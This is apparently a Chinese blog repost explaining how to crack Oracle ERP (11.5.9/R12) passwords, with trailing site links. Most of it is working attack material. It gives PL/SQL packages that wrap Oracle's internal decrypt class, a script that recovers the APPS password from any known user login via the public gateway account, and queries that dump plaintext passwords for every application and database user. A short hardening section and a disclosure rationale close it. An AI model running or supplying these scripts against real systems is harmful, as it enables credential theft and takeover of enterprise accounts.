破解Oracle ERP密码
前提:你有apps的数据库账户,想知道某个用户的密码,因为fnd_user中的密码为加密的,所以无法看懂,你可以尝试用下边的方式来查看用户密码。
- SQL> desc fnd_user;
- Name Null? Type
- ----------------------------------------- -------- ----------------
- USER_ID NOT NULL NUMBER(15)
- USER_NAME NOT NULL VARCHAR2(100)
- LAST_UPDATE_DATE NOT NULL DATE
- LAST_UPDATED_BY NOT NULL NUMBER(15)
- CREATION_DATE NOT NULL DATE
- CREATED_BY NOT NULL NUMBER(15)
- LAST_UPDATE_LOGIN NUMBER(15)
- ENCRYPTED_FOUNDATION_PASSWORD NOT NULL VARCHAR2(100)
- ENCRYPTED_USER_PASSWORD NOT NULL VARCHAR2(100)
- ...
1.创建Package,这个package会调用内部的解码类
- --创建Package声明
- CREATE OR REPLACE PACKAGE get_pwd
- AS
- FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
- RETURN VARCHAR2;
- END get_pwd;
- /
- --创建Package Body
- CREATE OR REPLACE PACKAGE BODY get_pwd
- AS
- FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
- RETURN VARCHAR2
- AS
- LANGUAGE JAVA
- NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
- END get_pwd;
- /
- --Query to execute
- SELECT usr.user_name,
- get_pwd.decrypt
- ((SELECT (SELECT get_pwd.decrypt
- (fnd_web_sec.get_guest_username_pwd,
- usertable.encrypted_foundation_password
- )
- FROM DUAL) AS apps_password
- FROM apps.fnd_user usertable
- WHERE usertable.user_name =
- (SELECT SUBSTR
- (fnd_web_sec.get_guest_username_pwd,
- 1,
- INSTR
- (fnd_web_sec.get_guest_username_pwd,
- '/'
- )
- - 1
- )
- FROM DUAL)),
- usr.encrypted_user_password
- ) PASSWORD
- FROM apps.fnd_user usr
- WHERE usr.user_name = '&USER_NAME';
转载请注明出处:http://blog.csdn.net/pan_tian/article/details/7692244
http://www.cnblogs.com/benio/archive/2011/01/11/1932576.html
1. 写作目的
2. 利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源码如下
(1).建立Package Header
(2).建立Package Body.
3. 取得APPS密码的步骤
4. 通过任何一个User name/password取得APPS密码的方法
5. 通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法
6. 通过上面建立的Package取得所有Oracle ERP Application User 密码的方法
7. 通过上面建立的Package取得所有Oracle ERP Database User密码的方法
8. 删除第一步建立的Package
9. 结论
10. 提高Oracle ERP的安全性
11. 此程序在Oracle ERP 11.5.9通过Toad测试通过
1。1.写作目的
在要不要写出来让大家知道这个问题上想了很久, 但一想到迟早密码破解的方法还是会被人知道的,与其让少部分人知道,还不如让大家都知道,事先好作防范.
公布密码破解方法的目的还是想让Oracle ERP做得更安全一点,让我们大家放心的去用,毕竟是几千万的东西,现在的安全性显然还达不到用户的要求. 想借大家的力量给Oracle施加一点压力,以将Oracle ERP的各个版本改得安全一点.
2. 2. 利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源码如下
(1).建立Package Header
CREATE OR REPLACE PACKAGE CrackPwd AUTHID CURRENT_USER
AS
FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
RETURN VARCHAR2;
END CrackPwd;
(2).建立Package Body
CREATE OR REPLACE PACKAGE BODY CrackPwd
AS
FUNCTION getpwd (orauser IN VARCHAR2, appuserpwd IN VARCHAR2)
RETURN VARCHAR2
AS
LANGUAGE JAVA
NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END CrackPwd;
/
3. 3. 取得APPS密码的步骤
假设现在什么Oracle erp权限都没有,怎么去知道oracle erp databaes的权限呢? 我们知道Oracle erp提供了一个database的公用账户(gateway user),此账户拥有database的最小权限,这个公用账号是: APPLSYSPUB/PUB(oracle erp网页中或URL中都有公开此账户),虽然此账户没有什么权限,但却有FND_USER_VIEW 的查询权限,通过这个view可以看到erp中所有的user和其ENCRYPED_FOUNDATION_PASSWORD字段,问题就出在这个view的ENCRYPED_FOUNDATION_PASSWORD字段上, ENCRYPED_FOUNDATION_PASSWORD这个字段是由APPS的密码和用户密码一起通过加密算法得出的结果, 因此只要知道Oracle ERP的解密算法就可以通过fnd_user中任何一个user的password反查apps的密码.,而要知道fnd_user中任何一个user的密码是太简单的事了,在erp安装时就预设了很多账户,这些账户的user name和password都是一样的,一般没有人去改这些账户的密码
4. 4. 通过任何一个User name/password取得APPS密码的方法
SET SERVEROUTPUT ON
DECLARE
guestUserPwd VARCHAR2(200);
guestUserName VARCHAR2(100);
guestFndPwd VARCHAR2(100);
guestEncFndPwd VARCHAR2(100);
delim NUMBER;
BEGIN
guestUserPwd :='GUEST/ORACLE';--Can any user password
IF guestUserPwd IS NULL THEN
guestUserPwd := UPPER(fnd_profile.value('GUEST_USER_PWD'));
END IF;
delim := INSTR(guestUserPwd,'/');
guestUserName := UPPER(SUBSTR(guestUserPwd,1,delim-1));
SELECT encrypted_foundation_password INTO guestEncFndPwd
FROM fnd_user_view
WHERE user_name = guestUserName AND (start_date <= SYSDATE) AND
(end_date IS NULL OR end_date > SYSDATE);
guestFndPwd :=CrackPwd.getpwd(guestUserPwd,guestEncFndPwd);
IF NOT (guestFndPwd IS NULL) THEN
DBMS_OUTPUT.put_line(guestFndPwd);
END IF;
END;
注: guestUserPwd :='GUEST/ORACLE';--Can any user password
上面这一行可以改成任何一个User的username/password,账号和密码之间用”/”隔开
以上程序可以用toad执行
5. 5. 通过FND_USER:ENCRYPTED_USER_PASSWORD取得明文密码的方法
SET SERVEROUT ON
DECLARE
v_encrypted_pwd VARCHAR2 (100);
v_apps_pwd VARCHAR2 (100);
v_user_pwd VARCHAR (100);
BEGIN
v_encrypted_pwd :='ZGA05468EA2C7A00CE5D9ED6562B352364325D40A247D58
3C10B916D88062771250F4BE653891CA90671C74187B132118335';
--get ENCRYPTED_USER_PASSWORD from fnd_user
IF v_apps_pwd IS NULL
THEN
v_apps_pwd := 'APPS';
END IF;
v_user_pwd := crackpwd.getpwd (v_apps_pwd, v_encrypted_pwd);
DBMS_OUTPUT.put_line (v_user_pwd);
END;
6. 6. 通过上面建立的Package取得所有Oracle ERP Application User 密码的方法
SELECT user_name,CrackPwd.getpwd('APPS',ENCRYPTED_USER_PASSWORD) pwd FROM APPS.fnd_user
7. 7. 通过上面建立的Package取得所有Oracle ERP Database User密码的方法
select fou.oracle_username,CrackPwd.getpwd('APPS',encrypted_oracle_password) pwd from APPS.fnd_oracle_userid fou
8. 8. 删除第一步建立的Package
DROP PACKAGE CrackPwd
9. 9. 结论
11).只要知道fnd_user中任何一个人的密码就可以反推APPS的密码,即使将database中apps密码改掉也可以反推.
22).反过来只要知道了apps的密码,fnd_user中所有user的密码都可以反推
33).以此类推,只要知道fnd_user中任何一个人的密码就可以反推其它所有User的密码.
44).同理,oracle erp db user(table:fnd_oracle_userid)中密码的加密算法同fnd_user,也就是说只要知道了APPS的密码,则db user的所有密码都可以反推.
1010. 提高Oracle ERP的安全性
(1).更改APPS的密码
(2).更改所有预先安装的fnd_user中所有user的password
(3).更改oracle erp database中的所有user(通过table:fnd_oracle_userid进行查询)的password
(4).更改在Profile: GUEST_USER_PWD 中预先设置的GUEST账户密码
(5).尽量不要将Database 可以通过公网连接.
(6).User离职后要将其密码变更后才停用.
但此方法也无法防止内部User知道APPS密码,只有当你所有密码都更改过了,你才敢在公网上连接ERP的Database.
11.此程序在Oracle ERP 11.5.9 R12.1.3通过
破解Oracle ERP密码的更多相关文章
- 破解Oracle ERP 密码
1. 写作目的 1 2. 利用Toad或其它pl/sql工具在Oracle ERP Database中建立Package,源码如下 1 (1). ...
- [20171213]john破解oracle口令.txt
[20171213]john破解oracle口令.txt --//跟别人讨论的oracle破解问题,我曾经提过不要使用6位字符以下的密码,其实不管那种系统低于6位口令非常容易破解.--//而且orac ...
- 用Hashcat每秒计算1.4亿个密码,破解隔壁WIFI密码
Hashcat是啥 Hashcat是什么呢?Hashcat是当前最强大的开源密码恢复工具,你可以访问Hashcat.net网站来了解这款工具的详细情况.本质上,Hashcat 3.0是一款高级密码恢复 ...
- oracle erp 表结构
BOM模块常用表结构 表名: bom.bom_bill_of_materials 说明: BOM清单父项目 BILL_SEQUENCE_ID NUMBER 清单序号(关键字)ASSEMBLY_ITEM ...
- 破解压缩文件密码rarcrack
破解压缩文件密码rarcrack 常见的压缩文件格式有ZIP.RAR和7z.这三种格式都支持使用密码进行加密压缩.前面讲过破解ZIP压缩文件,可以使用fcrackzip.对于RAR和7z格式,可以 ...
- Oracle 11g密码过期问题解决方案
[问题描述]近日,使用sqlplus登陆短消息Oracle(Oracle培训 )数据库时提示“ORA-28000: 帐号被锁定”.[原因/触发因素]确定是由于oracle11g中默认在default概 ...
- 【密码】Oracle用户密码系列
[密码]Oracle用户密码系列 1.1 BLOG文档结构图 1.2 前言部分 1.2.1 导读和注意事项 各位技术爱好者,看完本文后,你可以掌握如下的技能,也可以学到一些其它你所不知道的知识, ...
- 破解Mysql数据库密码
破解Mysql数据库密码 点我,点我,破解mysql数据库密码:
- Oracle Erp常用网站
2014-01-01 Created By BaoXinjian
随机推荐
- java 里定义的方法参数 (final String... args)
定义成final是为了防止在方法类里面修改参数,final String... args 为JDK新的特性,为可变长参数.编译的时候被解释为:public DCMException(final Str ...
- Node.js的知识点框架整理
背景:因为appium是基于Node.js的,所以想看一下Node.js.但是发现很多资料的顺序看起来有点颠倒.然后就一面看资料一面整理了一下大概的知识点框架,希望对自己对别人有用. 本文不包含nod ...
- Request method 'GET' not supported
Request method 'GET' not supported 错误原因: GET请求不被允许. 解决方法: 1.从客户端入手.假设浏览器中的js用了ajax发起异步请求GET,将GET改为PO ...
- NSThread 在主线操作的三个方法
- (void)createNSThread444{ UIImage *image = [UIImage imageNamed:@"图片名字"]; /** 1 performSel ...
- actionView
类似于actionBar也是在导航栏里用但是他使用的是menu菜单设置菜单项的AsAction=“always|withText” 本例使用LoaderCallbacks<Cursor>接 ...
- Spring框架的AOP技术之通知类型
1. 通知类型 * @Before -- 前置通知 * @AfterReturing -- 后置通知 * @Around -- 环绕通知(目标对象方法默认不执行的,需要手动执行) * @After - ...
- 无法启动MYSQL服务”1067 进程意外终止”解决的方法——汇总及终极方法
自己一開始依照百度经验里的方法--<MySQL下载安装.配置与使用(win7x64)>去安装和配置,可是到后面步骤总是出现1067代号的错误. 慢慢折腾去解决. 这里汇总各种导致mysql ...
- CF 1023D Array Restoration - 线段树
题解 非常容易想到的线段树, 还可以用并查集来. 还有一位大神用了$O(n)$ 就过了Orz 要判断是否能染色出输入给出的序列,必须满足两个条件: 1. 序列中必须存在一个$q$ 2. 两个相同的数$ ...
- python不用声明数据类型
不用声明变量一样,Python不用去声明函数的返回类型,是由于其“若类型”的语言特性决定的. 在其他语言中,例如C/C++语言中在存储一个数据之前,都需要在内存中给这个数据开辟一个固定的内存空间,并给 ...
- Nginx详解(正向代理、反向代理、负载均衡原理)
Nginx配置详解 nginx概述 nginx是一款自由的.开源的.高性能的HTTP服务器和反向代理服务器:同时也是一个IMAP.POP3.SMTP代理服务器:nginx可以作为一个HTTP服务器进行 ...